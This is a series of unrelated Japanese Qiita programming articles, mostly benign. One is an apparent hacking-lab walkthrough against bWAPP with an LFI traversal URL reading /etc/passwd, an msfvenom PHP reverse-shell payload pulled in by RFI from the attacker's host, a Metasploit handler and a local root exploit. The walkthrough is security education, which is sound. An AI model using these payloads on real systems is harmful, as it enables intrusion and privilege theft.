OmniAICreator/Qiita-1.07M huggingface dataset:
基本情報（小数点など）

小数点に入ります。普段、小数点使っている気がしないですがこれを機に小数点大好きっこになりたいです。

コンピュータが数を表すやり方には次の２つの方法があるらしいです。

**固定小数点数**
固定小数点数は予め小数点の位置を決めてしまいます。

**浮動小数点数**
浮動小数点数は小数点の位置を可変にします。

詳しくみていきます。

## 固定小数点数
改めて固定小数点数とは、「ビット列のどの位置に小数点があるか」を暗黙的了解として
扱う表現方法です。

例えば「頭5ビットを整数にする」と決めるとします
```
00000.000
----- ---
整数部 小数部
```
「頭7ビットを整数にする」と決めるとすると
```
0000000.0
------- -
整数部　　　　　小数部
```
「最下位ビットの右側は小数点とする」と決めると
```
00000000.
--------
整数部
```
となります。

8ビットの固定小数点数であらわせる整数の範囲は、下記のようになります。

```
符号なし
00000000.

         2進数 10進数
最小  
     00000000     0
     00000001     1
        |         |
     11111110    254
     11111111    255
最大

nビットで表現できる範囲は
0 ~ 2ⁿ-1
```

```
符号あり
[+,-]0000000.


         2進数 10進数
最小  
     10000000   -128
     10000001   -127
        |         |
     00000000     0
        |         |
     01111110    126
     01111111    127
最大

nビットで表現できる範囲は
-2(n-1) ~ 2₍n-1) - 1
```

## 浮動小数点数
浮動小数点数は、指数表記を用いて数値を扱う表現方法となります。

指数表記とは
0.00025 → 000.25 * 10⁻³
```
±    0.25 *  10  ⁻³
符号  仮数    基数 指数
```
上記のような形式で数を表すのが指数表記となります。

コンピュータで扱うのは2進数のため、基数「２」となります。
```
±      m  *   2  e
符号  仮数    基数 指数
```

コンピュータは浮動小数点数として、残りの可変部分（符号、仮数、指数）の値を
ビットに割り当てて数を表現します。

```
-　0.1011 * 2 ⁻⁵
```
上記の数字で説明すると

-が符号
1011が仮数部
-5が指数部

となります。

## 浮動小数点数の正規化
以下の数があります
```
① 0.12345 * 10⁻⁴
② 0.012345 * 10⁻³
```

上記の仮数部を5桁の枠にはめ込んで保管しなければならないと
した時に、元の値を保持できるのは

①となります。

「指数と仮数の組み合わせ」には、いろんなパターンがあるようです。
ただ「限られたビット数の中でより多くの桁数を保持する」という制約があれば
なんでも良いというわけにはいきません。

```
0.012345 * 10⁻³ → 0.12345 * 10⁻⁴
0.00101  * 2⁻³  → 0.101 * 2⁻⁵
```
上記の操作を**正規化**と呼びます。

## まとめ
小数点大好きっこになるために、明日はさらに深いところまでやります。
PowerShellを使ってソフトウェアの最新版を自動ダウンロード、インストールする

ソフトウェアをインストールするときに、
いちいちサイトに行って最新版を探して落としてこなければならないのが面倒くさい。

そこで、サイトから自動で最新版のソフトウェアを自動でダウンロードするスクリプトをPowerShellで組んでみました。

### 必須条件
* インストーラーの直リンクが判明していること

今回使うコマンドでは直リンクからのダウンロードを行うため、
サイト上のスクリプトか何かでリダイレクトされている場合などは対応していません。

# スクリプト

今回は例として、LhaplusとFFFTPを自動ダウンロード、インストールするスクリプトを記載します。

```powershell:lhaplus
#インストーラーをダウンロードするためのフォルダー(適時変更)
$dir="C:\temp"

 if(-not (Test-Path $dir)){
    New-Item $dir -ItemType Directory
}

#IEの初期設定が完了していない場合、-UseBasicParsingをつけないとエラーとなる
#指定したWebページのソースを取得
$source = Invoke-WebRequest "http://hoehoe.com/" -UseBasicParsing

#Lhaplusのサイトはそのままでは文字化けしてしまっているため、Shift_JISへ変換
#海外サイトとかでは変換の必要なし
$source_jis = [System.Text.Encoding]::GetEncoding("Shift_JIS").GetString( [System.Text.Encoding]::GetEncoding("ISO-8859-1").GetBytes($source.Content) )

#正規表現にてソースから最新バージョン情報を拾う
#1つ以上の絵連続した数字+.+2つの連続した数字で合致する個所を取得
#2022年6月現在では1.74
$version = (([regex]::match($source_jis,'\d+\.\d{2}')).value).replace(".","")

#直リンクよりダウンロード(先ほど取得したバージョン情報が必要)
Invoke-WebRequest -Uri "http://www7a.biglobe.ne.jp/~schezo/lpls$($version).exe" -outfile "$($dir)\lhaplus.exe"

#サイレントインストール
Start-Process -FilePath "$($dir)\lhaplus.exe" -ArgumentList "/VERYSILENT /NORESTART" -Wait

#インストーラーをダウンロードするためのフォルダーごと削除(もともとあったファイルも削除されてしまうため要注意!!)
Remove-Item $dir -Recurse -force
```

```powershell:FFFTP
$dir="c:\temp"

 if(-not (Test-Path $dir)){
    New-Item $dir -ItemType Directory
}
$source = Invoke-WebRequest "https://github.com/ffftp/ffftp/releases/" -UseBasicParsing

# リリースページから最新版を取得
$installer = ("https://github.com" + [regex]::match($source.content,"/ffftp/ffftp/releases/download/v(\d+\.)+\d/ffftp-v(\d+\.)+\d-x64.msi"))

Invoke-WebRequest -uri $installer -OutFile ($dir + "\ffftp-x64.msi")

$installer_path = ($dir + "\ffftp-x64.msi")

Start-Process -FilePath msiexec -ArgumentList "/i $installer_path /quiet /norestart" -Wait

Remove-Item ($dir + "\ffftp-x64.msi") -force
```

# 作成方法

作成方法としては、

* インストーラーのダウンロードページにアクセス
* インストーラーの直リンクがあること確認
* 直リンクにバージョン情報がある場合は、
* ダウンロードページより正規表現で拾えそうなバージョン情報を見つけ、
* バージョン情報と組み合わせて直リンクとなるようにURLを生成
* サイレントインストール可能か調べる

以上を基としてPowerShellを作成します。

※今回、正規表現の所をmatchで検索していますが、
通常一番上に新しいバージョンが記載されるため、
matchを使用しています(matchは最初にマッチしたもののみ抽出)。
マッチしたものすべてを拾う場合はmatchesに変更する必要があります。
サイトによって使い分けてください。

今回、作成するにあたり**Invoke-WebRequest**コマンドレッドを使用しています。
このコマンドレッドにてWebページのソースの取得、インストーラーのダウンロードを行っています。

サイトによってはソースコードをエンコードしなければならない場合があるので要注意です。

-UseBasicParsingオプションを付けることで、IEの初回設定を行っていない場合でも正常にソース取得できるようになります。
※オプション付けないとサイトによってはIEのエンジンを用いて処理するため、初回設定が終わっていないとエラーになってしまいます。
ですので、このオプションは常につけておいた方がいいかと思います。

サイレントインストールについてはググれば基本的に情報が載っているので、参考にしてください。
下記コマンドにてサイレントインストール実施しています。
```powershell
Start-Process -Filepath インストーラーの絶対パス -ArgumentList サイレントインストール用オプション -wait
```
-waitオプションを指定することでインストールが終わるまで次のコマンドを実行しない状態となります。
【SAPUI5】Launchpadの機能間遷移を行う

# はじめに
lanchpadでタイルから別機能のタイルに遷移する機能を実装する機会がありました。
以下を参考に実装ができたので備忘録のため記事を書かせていただきます。
https://sapui5.hana.ondemand.com/sdk/#/api/sap.ushell.services.CrossApplicationNavigation


# ソースコード
そのまま別機能に遷移したい場合

```sample.Controller.js
            var oCrossAppNav = sap.ushell.Container.getService("CrossApplicationNavigation");
            oCrossAppNav.toExternal({
                // 遷移先の情報
                target: { semanticObject: "demoUI02", action: "display" },
                // 遷移後に渡したいパラメータ情報
                params: {
                    sendParam: "data"
                }
            });
```

target内部のsemanticObjectにはLaunchpadで登録されている指定画面のセマンティックオブジェクトを指定します。
Launchpadのアプリ情報から確認できます。
![スクリーンショット 2022-05-31 20.42.22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/411770/3f024340-2496-c9ce-0f50-c109fa554768.png)

また、param部分に自由にデータを指定することで遷移後の画面に値を渡すことができます。
遷移後の画面で上記パラメータを取得するには以下ソースで取得ができます
```sample.Controller.js
// 遷移先でパラメータを受け取る
let sKey = this.getOwnerComponent().getComponentData().startupParameters;

```


ちなみに別タブでの画面を遷移したい場合は以下のソースコード

```sample.Controller.js
            var oCrossAppNav = sap.ushell.Container.getService("CrossApplicationNavigation");
            // 別タブ起動
            var sHash = oCrossAppNav.hrefForExternal({
                target: { semanticObject: "demoUI02", action: "display" },
                params: {
                    sendParam: "data"
                }
            });
            var url = window.location.href.split('#')[0] + sHash;
            sap.m.URLHelper.redirect(url, true);

```
関連レコードの「さらに絞り込む条件」の設定についてのメモ

kintoneの関連レコードの「さらに絞り込む条件」についてのメモ

# 関連レコードについて

関連レコード一覧のkintoneヘルプ 
https://jp.cybozu.help/k/ja/id/040527.html

kintoneアプリの詳細画面に、自アプリや他のアプリの情報を一覧で表示する機能。
関連レコードのフィールド設定で、参照するアプリを選択して、表示するレコードの条件を設定する。
表示するレコードの条件を自アプリのキーフィールドとして、他アプリに入力したキーフィールドと紐付けるような使い方をする。

例えば、顧客台帳と顧客台帳に紐づいた案件管理のアプリがあるとすると、顧客台帳に顧客ごとのユニークなキー項目（例えば顧客番号）を設定して、案件管理に顧客に紐づいたキー項目（顧客番号）を設定した時に、顧客台帳に関連レコードを設定することで紐づいた情報を関連レコードで一覧表示することができる。


# 「さらに絞り込む条件」とは
下記参照

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/214523/9668adc1-c869-40aa-fd05-459d95d0ebe3.png)

例えば、
・顧客管理アプリ
　→ 案件管理（関連レコード）
のとき、顧客管理アプリに設置した、案件管理の関連レコードをさらに絞り込みしたいとする。
赤で囲んだ内容など。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/214523/f5d854d0-8d88-fb86-c4ed-4d645af66108.png)

関連レコードの「さらに絞り込み」で設定できる条件を確認すると下記のような感じ。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/214523/0f83a31e-7412-d4a6-ead3-46fb2acec889.png)

上記の設定を確認すると、「さらに絞り込む」条件に設定できるのは『固定値』になる。
つまり、自アプリのフィールドに入力された値を使うことは基本的にはできない。
条件設定の右辺にフィールドを（フィールドに入力される値）を設定したいが、それができない。

設定できるのは、下記の通り。

* 左辺が数値フィールドの時は、右辺の数値が「等しい・等しくない・以上・以下」
* 左辺が文字列フィールドの時は、右辺の文字列が「等しい・等しくない・次のいずれかと等しい・次のキーワードを含む・次のキーワードを含まない」
* 左辺がドロップダウンフィールドの時は、右辺の項目が「次のいずれかを含む・次のいずれも含まない」
* 左辺が日付フィールドの時は、右辺の日付が「等しい・等しくない・以前・より前・以降・より後」
* 左辺がユーザー選択フィールドの時は、右辺のユーザー・グループ（ロール）・組織が「次のいずれかを含む・次のいずれも含まない」
* 左辺が組織選択フィールドの時は、右辺の組織選択フィールドの組織・優先する組織が「次のいずれかを含む・次のいずれも含まない」
　
※優先する組織＝APIを実行したユーザーの優先する組織。

例えば、案件の「商談担当者」はユーザー選択フィールドで、案件ごとにユーザーを設定することを想定。
顧客管理に表示する案件の関連レコードとして、ユーザーで絞り込みしたい時には「商談担当者」を絞り込みの条件設定に、固定であらかじめ設定しておくしかない。（該当するユーザー、ユーザーが所属する組織・グループロール、又は優先する組織）

# まとめ

関連レコードの設定で、自アプリのフィールドを使って絞り込みをすることは基本的にはできない。
カスタマイズ又は下記のプラグインを利用するなどして対応する。

カスタム関連レコードプラグイン （絞り込み条件に自アプリのレコード値利用可）
https://developer.cybozu.io/hc/ja/community/posts/900001067423

# クエリ

組織選択フィールドがあるとして、参照するアプリのレコードに存在する組織選択フィールドに含まれる条件で、レコードを絞り込むクエリは以下の通り。

`参照するアプリの組織選択 in ("<組織選択フィールドの組織のcode>")`

`<アプリID>`が 1で、
`<組織選択フィールドの組織のcode>`が "12345" とするとクエリは下記のようになる。

```
var body = {
    "app": 1,
    "query": "参照するアプリの組織選択 in (\"12345\")"
};
```

クエリの右辺のカッコに設定するのは、組織の名称ではなく組織のコードになる。
組織のコードは詳細画面を開いている場合は、`kintone.app.record.get()`関数で取得したJSONの中に入っているので、それを取得する。
組織選択は複数選択が可能となっていて、取得すると配列になっているのでうまいことコードだけを抜き出すようにする。

```
const record = kintone.app.record.get();
console.log(record);
console.log(record.record.組織選択.value);
console.log(...record.record.組織選択.value);
```

例えば組織選択のフィールドコードが "組織選択" の場合は下記の通り。

```
const record = kintone.app.record.get();
const codes = [...record.record.組織選択.value];
const organizationCodes = codes.map(organization => {
    let {code, name} = organization;
    return code;
});
console.log(organizationCodes);
```

organizationCodesの中身は組織コードの配列なので、配列を展開して組織展開の右辺の形式に変換する。
例えば、下記のようにすれば良い。

```
"query": "組織選択 in (\"code1\", \"code2\", \"code3\")"
```
WindowsでMySql設定ファイルをMySqlコンテナにマウントする際のエラー解決方法(Error response from daemon: not a directory)

<h2>状況</h2>
Mysqlの文字コードをutfに変更するために下記を行った。<br>
1.設定ファイルを作成。<br>
2.MySqlコンテナにマウントするためdocker-compose.ymlのVolumeに下記を追記。<br>
　./docker/8.1/my.cnf:/etc/my.cnf<br>
3.コンテナの停止<br>
4.コンテナの起動　←ここでエラー発生

<h2>エラー内容</h2>
コンテナの起動に失敗し、下記エラーが表示された。<br>
Error response from daemon: not a directory

<h2>原因</h2>
設定ファイルが読み取り専用になっていないこと。

<h2>解決方法</h2>
設定ファイルを読み取り専用にする。
ただし、ファイルのみを読み取り専用にできないため、適当なフォルダを作って読み取り専用フォルダにしてその中に設定ファイルを入れる。
JetsonAGXXavierにTurtleBot環境を構築する

# 環境
- Jetson AGX Xavier
- Ubuntu 18.04

# やりたい事
jetson AGX XavierにROS2 Dashing +TurtleBotが動く環境を作りたい
dockerを使わない

# インストール方法
最初にROS2　Dashingをインストールする
~~~
$ sudo apt-get update
$ sudo apt-get upgrade
$ wget https://raw.githubusercontent.com/ROBOTIS-GIT/robotis_tools/master/install_ros2_dashing.sh
$ chmod 755 ./install_ros2_dashing.sh
$ bash ./install_ros2_dashing.sh
~~~
Colconをインストール
~~~
$ sudo apt install python3-colcon-common-extensions
~~~
Gazebo9をインストール
~~~
$ curl -sSL http://get.gazebosim.org | sh
~~~
すでにGazebo11がインストールしてある場合はアンインストールする
~~~
$ sudo apt remove gazebo11 libgazebo11-dev
$ sudo apt install gazebo9 libgazebo9-dev
$ sudo apt install ros-dashing-gazebo-ros-pkgs
~~~
cartographerをインストールする
~~~
$ sudo apt install ros-dashing-cartographer
$ sudo apt install ros-dashing-cartographer-ros
~~~
navigation2をインストールする
~~~
$ sudo apt install ros-dashing-navigation2
$ sudo apt install ros-dashing-nav2-bringup
~~~
vcstoolをインスト―する
~~~
$ sudo apt install python3-vcstool
~~~
turtlebot3のパッケージをインストールする
~~~
$ sudo apt remove ros-dashing-turtlebot3-msgs
$ sudo apt remove ros-dashing-turtlebot3
$ mkdir -p ~/turtlebot3_ws/src
$ cd ~/turtlebot3_ws/src/
$ git clone -b dashing-devel https://github.com/ROBOTIS-GIT/DynamixelSDK.git
$ git clone -b dashing-devel https://github.com/ROBOTIS-GIT/turtlebot3_msgs.git
$ git clone -b dashing-devel https://github.com/ROBOTIS-GIT/turtlebot3.git
$ colcon build --symlink-install
$ source ~/.bashrc
~~~
完了！




# 参考にした記事
↓ROS2 Dashing

https://docs.ros.org/en/dashing/Installation/Ubuntu-Install-Debians.html

↓Turtlebot3の解説ドキュメント

https://emanual.robotis.com/docs/en/platform/turtlebot3/quick-start/
スパイウェアとマルウェアの違い

## 勉強前イメージ

大体同じもの？

## 調査

### スパイウェア とは

パソコン内でユーザの情報や行動を収集して送信するプログラムになります。
詳細は [こちら](https://qiita.com/miyuki_samitani/items/78f44d5c53b3175b8492) になります。

### マルウェア とは

malicious(悪意のある) と software を組み合わせた造語で
ウイルスやワーム、トロイの木馬などデバイスに不利益をもたらすプログラムやソフトウェアの総称です。
詳細は [こちら](https://qiita.com/miyuki_samitani/items/3fd9a681bbaf70aba3e1) になります。

### スパイウェアとマルウェアの違い

スパイウェアはマルウェアの一種です。
マルウェアとは不利益をもたらす総称なので、
マルウェアの中にウイルスやワームなども含まれます。

## 勉強後イメージ

一種だったか・・・・
まだ全然覚えられてない。。

## 参考

- [アドウェアは危険性がある？ マルウェアとの違い、侵入経路や駆除方法とは](https://www.amiya.co.jp/column/20210216.html#:~:text=%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%AF%E6%82%AA%E6%84%8F%E3%81%AE%E3%81%82%E3%82%8B,%E5%85%83%E3%81%AB%E9%80%81%E3%82%8B%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%A7%E3%81%99%E3%80%82)
HTMLからMarkDownに書き換える

HTMLの記法はわかるけどMarkDownの記法は初めてだったのでHTMLを書いた後にMarkDownに書き換えてみました。
# <font color="red">HTMLのコード</font>
```
<body>
 <h1>見出し(h1)</h1>
    <p>テキストテキストテキストテキストテキストテキストテキストテキストテキストテキストテキストテキストテキスト</p>
 <h2>見出し(h2)</h2>
    <p>テキストテキストテキストテキストテキストテキストテキスト<br>テキストテキストテキストテキストテキストテキストテキスト</p>
 <ul>
   <li>おはよう</li>
   <li>こんにちは</li>
   <li>こんばんは</li>
 </ul>
 <ol>
   <li>HTML</li>
   <li>CSS</li>
   <li>MarkDown</li>
 </ol>
  <code>&lt;h1&gt;見出し&lt;/h1&gt;</code>
</body>
```
# <font color="red">表示例</font>
![スクリーンショット 2022-05-31 16.26.30.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2605940/c3a09afa-d46b-dce2-685b-40cd62a74573.png)
※codeの部分と下線の部分はCSSでスタイルを変更しています

# <font color="red">MarkDownで書いてみる</font>
````
# 見出し(h1)
テキストテキストテキストテキストテキストテキストテキストテキストテキストテキスト
## 見出し(h2)
テキストテキストテキストテキストテキストテキスト　　
テキストテキストテキストテキストテキストテキスト
- おはよう
- こんにちは
- こんばんは

1.HTML
1.CSS
1.MarkDown
```
<h1>見出し</h1>
```
````
# <font color="red">結果</font>
# 見出し(h1)
テキストテキストテキストテキストテキストテキストテキストテキストテキストテキスト
## 見出し(h2)
テキストテキストテキストテキストテキストテキスト　　
テキストテキストテキストテキストテキストテキスト
- おはよう
- こんにちは
- こんばんは

1.HTML
1.CSS
1.MarkDown
```
<h1>見出し</h1>
```
Kali Linux2022.1 でハッキングラボをつくってみる10 ウェブアプリハッキング6 LFIでPHPシェルを設置

# はじめに
「ハッキング・ラボのつくりかた」p.643-649を参考にして、KaliLinux2022.1での検証を行っている記事です。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::

# FI(File Inclusion)
ウェブアプリの入力検証の不備を突いて,本来インクルードするべきファイルとは異なる不正なファイルを読み込ませる攻撃、。ターゲット端末上のファイルを用いるLFI(Local File Inclusion)と攻撃者が用意したターゲット端末の遠隔に位置するファイルを用いるRFI(Remote File Inclusion)に分けられる。

## 挙動の検証
"http:/\/192.168.56.60/bWAPP/portal.php"にアクセスして、プルダウンメニューから、「Remote & Local File Inclusion(RFI/LFI)」を選択する。選択すると、"http:/\/192.168.56.60/bWAPP/rlfi.php"に遷移する。言語は英語を選択する。
「Go」をクリックすると、URLが"http:/\/192.168.56.60/bWAPP/rlfi.php?language=lang_en.php&action=go"と変化することが確認できた。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_31_05_2022_17_40_07_passatck2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/e4f7e999-6111-76a3-5bf2-731d1e2452cf.png)


## 実際のLFI攻撃
URL欄に以下の内容を入力することによって、パスワードファイル/etc/passwdや/etc/fstabを閲覧できる。
"http:/\/192.168.56.60/bWAPP/rlfi.php?language=../../../etc/passwd"

![VirtualBox_kali-linux-2022.1-virtualbox-amd64_31_05_2022_17_43_10_passatck3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/5ea2a4ae-53de-d137-1d71-2089424ed0fd.png)

## 実際のRFI攻撃
Kali側の端末上で、次のコマンドを実行して、リバースシェルを作成する。apacheを起動もしくは再起動する。
```
sudo msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.56.2 lport=4446 -f raw -o /var/www/html/evil.txt
sudo systemctl restart apache2
```
lhostで指定したのは、KaliLinuxのIPアドレスである。

次に、Metasploitを実行する。`msfconsole -q`
以下、次の通り
```:msf >
use exploit/multi/handler
set lport 4446
set lhost 192.168.56.2
set payload php/meterpreter_reverse_tcp
run
```

Firefoxで、"http:/\/192.168.56.60/bWAPP/rlfi.php?language=http:/\/192.168.56.2/evil.txt"にアクセスする。Firefox上では、いつまでも処理が続かないが、端末のmsfconsole上では、セッションが確立してmeterpreterプロンプトが立ち上がる。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_31_05_2022_18_51_51_passatck4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/56b16181-1501-61fd-369b-253ceb1f2470.png)
`shell`コマンドをmetepreterプロンプトで実行することで、bee-boxの任意のコマンドを実行できる。
使いやすいように、bee-boxのプロンプトが利用できるようにするには、
`python -c 'import pty; pty.spawn("/bin/sh")'を実行する。

## root権限の奪取
bee-boxn内の"/var/www/evil"にあるexploitを用いる。(通常は、wgetで適当なExploitをダウンロードする。）
```
cd /var/www/evil
tar -xvf cve-2009-2692.tar
cd cve-2009-2692
ls
//事前に、実行するファイルを確認しておく。
sh cve-2009-2692.sh
id
//idでroot権限が奪取できていることがわかる
```

# おわりに
「ハッキング・ラボのつくりかた」

https://www.shadan-kun.com/blog/measure/2582/
Chrome拡張機能 Manifest V3 popup.jsからcontent.jsにmessageを送る

# この記事を書くきっかけ
あまりにも、メッセージのやり取りが思い通りに実装できなかったからです。拡張機能を作ろうと思ったきっかけはほんの軽い気持ちで始め、その時はメッセージのやり取りが本当できなく、諦めていました。そこで、ふとQiitaのトレンドに拡張機能の記事を発見し、もう一度やってみるかと思い、見事メッセージを渡すことができたのでこの記事を書こうと思います。（同様のやり方で、background?service_worler?からcontentにもメッセージを送れました。）

```javascript:popup.js
// contentにメッセージを送る
chrome.tabs.query({ active: true, currentWindow: true }, aim_message);

function aim_message(tabs) {
  // 今開いているタブに、データを渡す（send_data, callbackは省略可）
  chrome.tabs.sendMessage(tabs[0].id, send_data, callback);
}

function callback(callback_data) {
  // コールバック関数の処理（popupからの値をlocalstorageに保存したり）
}

```

```javascript:content.js
// popupからのメッセージを受け取る
chrome.runtime.onMessage.addListener((send_data, sender, callback) => {
  //何かしらの処理

  // コールバック関数の実行
  callback(callback_data);

  // おまじないで必要らしい
  return true;
});
```

- V3のmanifest.jsonの書き方
https://qiita.com/TiggeZaki/items/bb35afe43c347d38dc4e
STM32G031で超音波距離センサーHC-SR04 PA2ハードウェアシリアル出力


x 動作確認済み2022/6/1 7:06


目的
超音波距離センサーのテスト


仕様

1
2 VDD
3 GND
4 GPIO ハードウェアシリアル

8 SWD
7 SWD
6 エコー
5 トリガー


![o_con510.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/840352/04bffeae-b302-69a4-b09b-f740d9e24ad1.jpeg)




親切な人がNRSTにつてい書いてある



https://blog.mmaakkyyii.com/posts/post21/







```c++




//SER_HC-SR04_031_2


#include <Arduino.h>
#include <HardwareSerial.h>

#define ECHO PA12
#define TRIG PA11

unsigned long times; //オン時間
int distance;        //距離


//初期化処理
void setup() {

  delay(3000); //not delete

  //シリアルの初期化
  Serial.setTx(PA2_ALT1);
  Serial.setHalfDuplex();
  Serial.begin(9600);

  //pinMode(PB7, OUTPUT);

  pinMode(TRIG, OUTPUT);
  pinMode(ECHO, INPUT);

}//setup


//メインループ
void loop() {

  // 超音波を発生させる
  digitalWrite(TRIG, HIGH);
  delayMicroseconds(10);
  digitalWrite(TRIG, LOW);

  // 超音波を受け取る
  times = pulseIn(ECHO, HIGH,2000000);

  //times = (unsigned long)7700; //debug

  //distance = (int)(times * 0.017);
  distance = (int)((times * ((unsigned long)(17))) / 100);
  
  //データの表示
  Serial.println( distance );

  delay(500); //0.5秒待つ
  
}//loop


```
Railsのcredential.yml.encについて(自分の理解のための整理)

### 経緯
credential.yml.encとかmaster.keyとかの話。
EC2にアプリをデプロイしようとした際、このあたりの設定で頭が混乱。
開発環境では意識することのない存在だったので、急に出てきてびっくり。
少しだけ理解できてきた気がするので、自分なりに整理してみました。
誤りがあったらご指摘ください。

### credentials.yml.encとは何か
* 秘匿情報（秘密鍵とかIDとかPWとか）がまとめて記述されている、暗号化されたファイル。
* bin/railsディレクトリ下に置かれている。
* 隠したい情報を環境変数にセット。APサーバーは環境変数を経由して情報を取得・利用する。
* 復号化キーはmaster.key。$ rails new の時に、configディレクトリ下に生成される。デフォルトで.gitignoreに登録される。
* 当然、$ git cloneで開発環境に連れてこれないので、本番環境上で設定してやる必要がある。
* $EDITORで指定されたエディタでのみ編集できる。

### 例
RDSへの接続の設定。database.ymlに、以下のように記述すれば繋がる。しかし、

```database.yml
production:
  <<: *default
  adapter: mysql2
  encoding: utf8
  reconnect: false
  database: <アプリケーション名>_production
  pool: 5
  username: <ユーザー名>
  password: <パスワード>
  socket: /var/lib/mysql/mysql.sock
  host: <ホスト名>
```

これだとgithubなどでソースコードを管理した際に、usernameやpasswordが丸見えになる。
そこで、usernameやらpasswordの値を、環境変数を定義した上でcredentials.yml.encに格納し、database.yml上は変数で記述して値を隠す、という形をとる。

### 参考
* [Rails6 + EC2(Amazon Linux2) + RDS + Puma + Nginx の環境構築](https://zenn.dev/ryouzi/articles/94092661a21dbe)
* [たった30分でわかるcredentials.yml.enc[rails5.2] - 環境変数を定義する使い方 -](https://qiita.com/gyu_outputs/items/92c4a2a2f96edb10e298)
* [Rails5.2から追加された credentials.yml.enc のキホン](https://qiita.com/NaokiIshimura/items/2a179f2ab910992c4d39)
なにゆえファイルの「サイズ」と「ディスク上のサイズ」の値が異なるのか

# はじめに

Web屋さんをしていると、画像やPDFのサイズをHTML上に記載したりするときなど、何かとデータサイズを気にする場面が多いです。

例えば、ファイルサイズはMacのFinderだとこんな感じで表示されます。

![スクリーンショット 2022-05-31 14.45.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/924363/1c85b290-546f-aa30-3cbf-3300823f8bff.png)

Windowsのエクスプローラだと以下のように表示されます。[^1]
[^1]: 画像はVM上の表記であるため、本来のWindowsのファイルシステムだとMacと同じ数値ではないかもしれません

![スクリーンショット 2022-05-31 14.47.07.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/924363/ea84c25e-5838-1750-08a7-fe8f05e51674.png)

上記のファイルの場合、サイズは630,055バイトでディスク上のサイズは630,784バイトのようです。

:::note
「**なんでサイズが違うの**」という方
「**結局ファイルサイズ記載する際はどっち書けばいいの**」と思った方
:::

には、この記事は有用かと思います。

※ちなみに、そこまで小難しい詳細は記載せずかなり噛み砕いておりますので、もっと深い内容に興味がある方は基本情報技術者などの勉強をオススメします。

# 結論

- **サイズ**と**ディスク上のサイズ**は異なるものを指す
- ファイルサイズを記載したいときは、**ディスク上のサイズではなく単なる「サイズ」を書く**

# 解説

## 保存媒体へのデータの格納

HDDやSSD、USBフラッシュドライブなどにデータを保存する際、データはその媒体内で区切られたロッカーのような入れ物に放り込まれます。

このロッカー1つ1つのこと、つまりファイルやディレクトリに割り当てられる最小の容量論理単位を、**クラスタ**または**アロケーションユニット**と呼びます。

クラスタサイズは環境（フォーマット時に選択したクラスタサイズなど）によって異なりますが、例えば4KBだったとすると、データサイズは1Byteだったとしても、クラスタに格納されるとディスク上は4KBの領域を確保していることになります。

![クラスタ.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/924363/c1dfecd3-959e-a99c-18d1-6e2ac9f35ba7.png)


すると結果として、我々がそのデータをFinderなどで確認すると、実際のデータサイズは1Byteでも、ディスク上のサイズはそれを格納したクラスタサイズである4KB、と表示されるわけです。

もし、この格納するデータが4KB以上だった場合は、複数のクラスタに分けて格納されます。

![クラスタ (2).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/924363/f2e6f842-3e97-88d6-e615-5caac02b880b.png)

## Webサイトなどでデータのサイズを明記するとき

さて、前述した通り、HTMLページ上にPDFを添付する際、そこに「◯◯.pdf (500KB)」みたいな感じでデータサイズを併記することは間々あると思います。

ファイルシステムやフォーマットの設定などによって、クラスタサイズは環境によって異なるため、Finderなどを確認しそれを転記する場合は、**サイズ**の方をチェックすると適当かと思います。

つまり、先程のデータ↓をFinderで確認した場合は、

![スクリーンショット 2022-05-31 14.45.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/924363/1c85b290-546f-aa30-3cbf-3300823f8bff.png)

```math
630055 \div 1024 \fallingdotseq 615.2880859375\ldots
```

となり、**615KB**と記載します。
（正確に2進接頭辞を使えとかそういう話は別の場所でしてもろて）

# まとめ

「ディスク上のサイズ」は実際のデータサイズとは異なるということを説明しました。

計算機科学のようなものを学んだことがないと実は躓きそうなポイントなのではないかと思い、今回は実務上知っておけばいいかなくらいの情報にとどめてまとめました。

保存する媒体によって理解するための知識がもっと必要だったり、まだまだ序章も序章の話なので、興味がある方はぜひ調べてみてください。
watch()でオブジェクト配列の値を複数監視する


オブジェクト配列が二つあり、その二つの値をwatch()を使って監視する際にコンパクトに書く書き方を発見したので記載します。

```javascript:定数
const stateA = reactive({
    id: 1,
    name: Tanaka,
    checked: true,
    checkList: []
});

const stateB = reactive({
    id: 2,
    name: Suzuki,
    checked: true,
    checkList: []
});

const plainOptionsA = ["A","B","C"]
const plainOptionsB = ["A","B","C","D","E","F"]
```
watch()を複数使ってもエラーは出ないですが、コードが無駄に長くなってしまいます。
```javascript:before
watch(
  () => stateA.checkedList,
  val => {
      // データが変化した時に行いたい処理
      stateA.checked = val.length && val.length < plainOptionsA.length;
  }
)
watch(
  () => stateStateB.checkedList,
  val => {
      // データが変化した時に行いたい処理
      stateB.checked = val.length && val.length < plainOptionsB.length;
  }
)
```
監視する値を配列に入れることでそれぞれの値のnewとoldを取得でき、{}内でそれぞれの監視対象の値を利用することができます。

```javascript:after
watch(
  () => [stateA.checkedList, stateB.checkedList]
  ([valAnew, valBnew],[_valAold,_valBold] => {
      // データが変化した時に行いたい処理
      stateA.checked = valAnew.length && valAnew.length < plainOptionsA.length;
